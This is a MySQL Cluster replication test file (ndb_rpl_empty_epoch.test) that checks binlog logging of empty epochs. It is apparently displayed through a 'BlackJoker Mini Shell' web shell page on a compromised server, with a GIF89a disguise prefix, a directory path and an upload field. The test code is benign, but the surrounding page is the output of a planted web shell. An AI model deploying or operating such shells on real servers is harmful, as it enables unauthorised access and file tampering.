GIF89a; Mini Shell

Mini Shell

Direktori : /usr/share/mysql-test/suite/ndb_rpl/t/
Upload File :
Current File : //usr/share/mysql-test/suite/ndb_rpl/t/ndb_rpl_empty_epoch.test

--source include/have_ndb.inc
--source include/have_binlog_format_mixed_or_row.inc
--source suite/ndb_rpl/ndb_master-slave.inc

CREATE TABLE t1 (
 id INT UNSIGNED NOT NULL AUTO_INCREMENT,
 c1 VARCHAR(30),
 PRIMARY KEY (id)
 ) ENGINE=ndb;

BEGIN;
 INSERT INTO t1 (c1) VALUES ('aaa'),('bbb'),('ccc');
 DELETE FROM t1 WHERE id IN (1,2,3);
COMMIT;

--sleep 2

SELECT COUNT(epoch) > 0 FROM mysql.ndb_binlog_index;

CREATE TABLE t2 (
 id INT UNSIGNED NOT NULL AUTO_INCREMENT,
 c1 VARCHAR(30),
 PRIMARY KEY (id)
 ) ENGINE=ndb;

set @old_ndb_log_empty_epochs = @@global.ndb_log_empty_epochs;
set global ndb_log_empty_epochs = on;

BEGIN;
 INSERT INTO t2 (c1) VALUES ('aaa'),('bbb'),('ccc');
 DELETE FROM t2 WHERE id IN (1,2,3);
COMMIT;

--sleep 2

SELECT COUNT(epoch) > 0 FROM mysql.ndb_binlog_index;

set global ndb_log_empty_epochs = @old_ndb_log_empty_epochs;

--connection master
DROP TABLE IF EXISTS t1,t2;

--source include/rpl_end.inc

./BlackJoker Mini Shell 1.0